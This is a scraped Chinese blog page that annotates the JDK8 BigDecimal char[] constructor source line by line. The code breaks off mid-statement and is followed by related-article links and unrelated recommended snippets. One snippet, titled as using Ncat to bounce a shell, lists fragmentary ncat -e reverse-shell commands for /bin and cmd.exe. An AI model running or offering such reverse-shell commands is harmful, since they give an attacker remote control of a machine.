1 public BigDecimal(char[] in, int offset, int len, MathContext mc) {// 使用字符数组的构造方法,一般我们推荐使用的是一String类为参数的构造以保证精度不会丢失
2 // protect against huge length.
3 if (offset + len > in.length || offset < 0)// 索引偏移量不能为负数且索引偏移量与使用的字符数之和不能超过字符数组的长度,否则抛出数字格式化异常
4 throw new NumberFormatException("Bad offset or len arguments for char[] input.");
5 // This is the primary string to BigDecimal constructor; all
6 // incoming strings end up here; it uses explicit (inline)
7 // parsing for speed and generates at most one intermediate
8 // (temporary) object (a char[] array) for non-compact case.
9
10 // Use locals for all fields values until completion
11 int prec = 0; // record precision value
12 int scl = 0; // record scale value
13 long rs = 0; // the compact value in long
14 BigInteger rb = null; // the inflated value in BigInteger,以上定义了4个变量用于最后对成员变量赋值使用,若值未改变则世界使用当前默认值
15 // use array bounds checking to handle too-long, len == 0,
16 // bad offset, etc.
17 try {
18 // handle the sign,首先处理第一个字符,因其可能为符号位需要特殊处理
19 boolean isneg = false; // assume positive,先假定为正数,因此定义一个标志位isneg为false
20 if (in[offset] == '-') {
21 isneg = true; // leading minus means negative
22 offset++;
23 len--;// 若第一个字符为'-'号,表明该数值为负数,标志位isneg为true,同时将索引偏移量自增,将需要的字符个数自减
24 } else if (in[offset] == '+') { // leading + allowed
25 offset++;
26 len--;// 若第一个字符为'+'号,则不需要改变标志位,将索引偏移量自增,将需要的字符个数自减
27 }
28
29 // should now be at numeric part of the significand,接下来处理数组的数值部分字符
30 boolean dot = false; // true when there is a '.',首先定义小数点标志位dot,默认为false
31 long exp = 0; // exponent,定义指数值exp为0
32 char c; // current character,定义当前字符c,用于循环使用
33 boolean isCompact = (len <= MAX_COMPACT_DIGITS);// MAX_COMPACT_DIGITS为常量18,用于判断最终数值的数字位数,若小于等于18,则该数值的数值部分(不考虑小数点)可以使用long类型表示
34 // integer significand array & idx is the index to it. The array
35 // is ONLY used when we can't use a compact representation.
36 int idx = 0;
37 if (isCompact) {// len小于等于18
38 // First compact case, we need not to preserve the character
39 // and we can just compute the value in place.
40 for (; len > 0; offset++, len--) {// 开启循环取出字符数组中的数值
41 c = in[offset];// c代表当前字符
42 if ((c == '0')) { // c为'0'
43 if (prec == 0)// 若有效数位为0,则赋值为1(刚开始觉得这里有问题,如果第一个字符就是0则有效位数不应该自增才对,这里其实与第二个if语句体对应,且往下看)
44 prec = 1;
45 else if (rs != 0) {// 若有效数位不为0,rs也为0,将rs变为原值的10倍(即上升一个进位制),并将有效数位自增
46 rs *= 10;
47 ++prec;
48 } // else digit is a redundant leading zero
49 if (dot)// 若之前循环出现过字符'.'也就是小数点,则将有效小数位自增
50 ++scl;
51 } else if ((c >= '1' && c <= '9')) { // 若c为数值1~9,计算字符的实际映射的数值并赋值给digit变量
52 int digit = c - '0';
53 if (prec != 1 || rs != 0)// 不执行此步骤出现的情况:字符数组前几位均为字符'0',此时出现第一个数值字符时有效数值位数不需要改变(因为在这种情况下,在第一次出现'0'时已经提前增加了有效数位prec的值)
54 ++prec; // prec unchanged if preceded by 0s,这一个与上边的疑问对应,若在第一个数值字符出现之前有多个'0'字符出现,则有效位数一定为1,此时当前数值字符出现时我们不改变prec的值
55 rs = rs * 10 + digit;// 十进制计算数值
56 if (dot)
57 ++scl;
58 } else if (c == '.') { // 当前字符为'.'小数点
59 // have dot
60 if (dot) // two dots,之前循环已经存在一个小数点则目前有两个则抛出异常
61 throw new NumberFormatException();
62 dot = true;
63 } else if (Character.isDigit(c)) { // 字符是其他类型的数字(Unicode编码的非阿拉伯数字)
64 int digit = Character.digit(c, 10);// 获取字符所映射的数值,一下步骤与上面的分析是一样的
65 if (digit == 0) {
66 if (prec == 0)
67 prec = 1;
68 else if (rs != 0) {
69 rs *= 10;
70 ++prec;
71 } // else digit is a redundant leading zero
72 } else {
73 if (prec != 1 || rs != 0)
74 ++prec; // prec unchanged if preceded by 0s
75 rs = rs * 10 + digit;
76 }
77 if (dot)
78 ++scl;
79 } else if ((c == 'e') || (c == 'E')) {// 若当前字符是'e'或'E',则代表科学计数法
80 exp = parseExp(in, offset, len);// 解析字符'e'或'E'之后的指数值后,若通过校验则结束循环
81 // Next test is required for backwards compatibility
82 if ((int) exp != exp) // overflow,溢出(已经超出int的表数范围)则抛出格式化异常,一般指数也不会这么大int可以大概表数正负21亿
83 throw new NumberFormatException();
84 break; // [saves a test]
85 } else {// 当前字符不是数值或者指数标识符抛出异常
86 throw new NumberFormatException();
87 }
88 }
89 if (prec == 0) // no digits found,循环结束后若一个数值(包括'0')也没找到则抛出格式化异常,
90 throw new NumberFormatException();
91 // Adjust scale if exp is not zero.
92 if (exp != 0) { // had significant exponent,科学计数法表达式指数不为0则需要调整有效小数位数
93 scl = adjustScale(scl, exp);// 特别的有效小数位数可以为负数
94 }
95 rs = isneg ? -rs : rs;// 应用数值符号标志位恢复正负
96 int mcp = mc.precision;// 获取MathContext上下文的有效位数
97 int drop = prec - mcp; // prec has range [1, MAX_INT], mcp has range [0, MAX_INT];
98 // therefore, this subtract cannot overflow
99 if (mcp > 0 && drop > 0) { // do rounding,若上下文的有效位数>0,且解析出的数值的有效位数大于上下文的有效位数则需要舍入
100 while (drop > 0) {
101 scl = checkScaleNonZero((long) scl - drop);// 根据原有效小数位数与需要舍去的位数对有效小数位数进行修正
102 rs = divideAndRound(rs, LONG_TEN_POWERS_TABLE[drop], mc.roundingMode.oldMode);// 根据舍入模式与需要舍入的位数对rs进行舍入处理
103 prec = longDigitLength(rs);// longDigitLength()方法获取long类型数值rs的有效数字位数
104 drop = prec - mcp;// 重新计算需要舍去的位数,若大于0则继续循环
105 }
106 }
107 } else {// 若需要解析的数值位数(包括小数点与指数表达式大于18)
108 char coeff[] = new char[len];// 定义缓存字符数组coeff,长度等于需要解析的字符数量
109 for (; len > 0; offset++, len--) {
110 c = in[offset];// 获取当前字符
111 // have digit
112 if ((c >= '0' && c <= '9') || Character.isDigit(c)) {// 当前字符为数字
113 // First compact case, we need not to preserve the character
114 // and we can just compute the value in place.
115 if (c == '0' || Character.digit(c, 10) == 0) {
116 if (prec == 0) {// 当前字符为0且当前有效位数为0(表明是第一次解析出'0'字符),则保存至缓存字符数组
117 coeff[idx] = c;
118 prec = 1;// 将有效位数置为1,(即若第一字符为'0'也将计入有效数位),但是idx索引并不更新
119 } else if (idx != 0) {// 此时表明解析出的0是"中间"的'0'字符,此时将保存至缓存字符数组
120 coeff[idx++] = c;// 更新缓存数组的索引
121 ++prec;// 更新有效位数
122 } // 其实还存在第三种情况,即继首位为0之后连续存在多个0,此时什么也不做(不保存也不更新有效位数与缓存索引)
123 } else {// 当前字符是不为'0'的数字
124 if (prec != 1 || idx != 0)// 不执行此步骤唯一的情况是:首位或其后续连续几位为'0',则此时prec与idx都是0(这与上面的疑问处的处理是一样的,此时不增加有效位数)
125 ++prec; // prec unchanged if preceded by 0s
126 coeff[idx++] = c;// 只要出现非'0'数字都要保存至缓存字符数组
127 }
128 if (dot)// 若之前循环已经出现过'.'小数点,则有效小数位数自增,并且结束本次循环
129 ++scl;
130 continue;
131 }
132 // have dot
133 if (c == '.') {// 小数点,与上边的处理相同
134 // have dot
135 if (dot) // two dots
136 throw new NumberFormatException();
137 dot = true;
138 continue;
139 }
140 // exponent expected
141 if ((c != 'e') && (c != 'E'))// 若当前字符既不是数字也不是小数点也不是指数标志,则抛出数字格式化异常
142 throw new NumberFormatException();
143 exp = parseExp(in, offset, len);// 否则解析指数表达式的值,方法与上边相同
144 // Next test is required for backwards compatibility
145 if ((int) exp != exp) // overflow,指数溢出抛出异常
146 throw new NumberFormatException();
147 break; // [saves a test]
148 }
149 // here when no characters left
150 if (prec == 0) // no digits found,为解析出数值则抛出异常
151 throw new NumberFormatException();
152 // Adjust scale if exp is not zero.
153 if (exp != 0) { // had significant exponent,指数不为0则需要调整有效小数位数
154 scl = adjustScale(scl, exp);// 特别的有效小数位数可以为0(可以尝试一下,存在指数表达式时)
155 }
156 // Remove leading zeros from precision (digits count)
157 rb = new BigInteger(coeff, isneg ? -1 : 1, prec);// 根据解析出来的字符缓存数组构建BigInteger对象,这个里边大有文章,下片源码解析在进行分析
158 rs = compactValFor(rb);// 根据创建的BigInteger对象获取该对象所表示的数值(若可以表示使用long类型实际表示,否则使用long类型的最小值表示,例如超出表数范围)
159 int mcp = mc.precision;// 获取MathContext上下文中的有效小数位数(这个才是最终的有效小数位数,可以对原生的BigDecimal对象中的值的有效位数进行修改)
160 if (mcp > 0 && (prec > mcp)) {// 这个与上面的代码分析差不多,即MathContext中的有效位数要小于原生生成的BigDecimal对象中值的有效位数,需要进行舍入操作
161 if (rs == INFLATED) {// 若rs表示的数值是long类型的最小值(即该BigInteger的数值已经超出long类型的表数范围)
162 int drop = prec - mcp;// 获取需要舍去的有效位数
163 while (drop > 0) {// 循环舍去直到drop小于等于0
164 scl = checkScaleNonZero((long) scl - drop);// 若原有效小数位数减去舍去的位数,超过int的表数范围则抛出异常
165 rb = divideAndRoundByTenPow(rb, drop, mc.roundingMode.oldMode);// 进行舍去,见

BigDecimal源码的更多相关文章

  1. JDK8 BigDecimal API-创建BigDecimal源码浅析三

    第三篇 先介绍以BigInteger为构造参数的构造器 public BigDecimal(BigInteger val) {// 根据BigInteger创建BigDecimal对象 scale = ...

  2. JDK8 BigDecimal API-创建BigDecimal源码浅析二

    第二篇,慢慢来 根据指数调整有效小数位数 // 上一篇由字符串创建BigDecimal代码中,有部分代码没有给出,这次补上 // 这个是当解析字符数组时存在有效指数时调整有小小数位数方法 privat ...

  3. Solr DIH JDBC 源码解析

    Solr DIH 源码解析 DataImportHandler.handleRequestBody()中的importer.runCmd(requestParams, sw) if (DataImpo ...

  4. 基于mybatis-generator-core 1.3.5项目的修订版以及源码剖析

    项目简单说明 mybatis-generator,是根据数据库表.字段反向生成实体类等代码文件.我在国庆时候,没事剖析了mybatis-generator-core源码,写了相当详细的中文注释,可以去 ...

  5. MyBatis源码分析(2)—— Plugin原理

    @(MyBatis)[Plugin] MyBatis源码分析--Plugin原理 Plugin原理 Plugin的实现采用了Java的动态代理,应用了责任链设计模式 InterceptorChain ...

  6. 深入浅出Mybatis系列(五)---TypeHandler简介及配置(mybatis源码篇)

    上篇文章<深入浅出Mybatis系列(四)---配置详解之typeAliases别名(mybatis源码篇)>为大家介绍了mybatis中别名的使用,以及其源码.本篇将为大家介绍TypeH ...

  7. 深入浅出Mybatis系列(四)---配置详解之typeAliases别名(mybatis源码篇)

    上篇文章<深入浅出Mybatis系列(三)---配置详解之properties与environments(mybatis源码篇)> 介绍了properties与environments, ...

  8. 【Pig源码分析】谈谈Pig的数据模型

    1. 数据模型 Schema Pig Latin表达式操作的是relation,FILTER.FOREACH.GROUP.SPLIT等关系操作符所操作的relation就是bag,bag为tuple的 ...

  9. JFinal 源码分析 [DB+ActiveRecord]

    我记得以前有人跟我说,“面试的时候要看spring的源码,要看ioc.aop的源码"那为什么要看这些开源框架的源码呢,其实很多人都是"应急式"的去读,就像读一篇文章一下, ...

随机推荐

  1. Python学习(三十九)—— Django之Form组件

    一.构建一个表单 假设你想在你的网站上创建一个简单的表单,以获得用户的名字.你需要类似这样的模板: <form action="/your-name/" method=&qu ...

  2. 什么是vue

    1. 什么是vue.js? 1.1.vue.js是目前最火的一个前端框架,和Angular.js.React.js并称为前端三大主流框架. 1.2.Vue.js是有一套构建用户界面的框架,只关注视图层 ...

  3. 使用Ncat反弹Shell

    ncat -l -n -v -p ncat -e /bin/ ncat -e C:\Windows\system32\cmd.exe

  4. AWS S3 递归上传文件和递归下载文件, 以及S3之间拷贝文件夹

    1. 递归上传文件: aws s3 cp 本地文件夹 s3://bucket-name -- recursive --region us-east-1 2. 递归下载S3上的文件夹: cd  本地下载 ...

  5. 在DOM加载之前insertScript

    起因 由于工作原因需要联调碧桂园的SDK 大概是以下代码,起初我是放在head中的,因为最初这样调试,包括线上环境都是OK的,可以获取到SDK的内容,换句话说js节点是可以插入到root内的,自从换了 ...

  6. 【C#】时间类型修改

    鉴于前后端分离发展的迅速.前端很多时间控件都会读UTC时间. 安利一个小知识 // // 摘要: // Creates a new System.DateTime object that has th ...

  7. ElasticSearch 6.4.3 启动报错: [Cannot assign requested address: bind]

    今天在本地搭建一个测试用的最新版ElasticSearch6.4.3 的环境时,遇到一个报: [Cannot assign requested address: bind]的错误. 错误日志内容如下: ...

  8. 04-Python入门学习-流程控制

    一.流程控制if 语法1: if 条件:  code1  code2  code3  .... age=180 height=163 weight=75 sex='female' is_beautif ...

  9. react-native run-android时 SDK location not found.报错

    报错 原因 缺少local.properties文件(SDK location) 解决 方法一:在android Studio中打开项目android目录,会自动创建local.properties文 ...

  10. 运用JS判断代码可以参考学习

    JAVAScript代码加CSS和HTML <%-- Created by IntelliJ IDEA. User: zengxiangcai Date: 2018/6/27 Time: 11: ...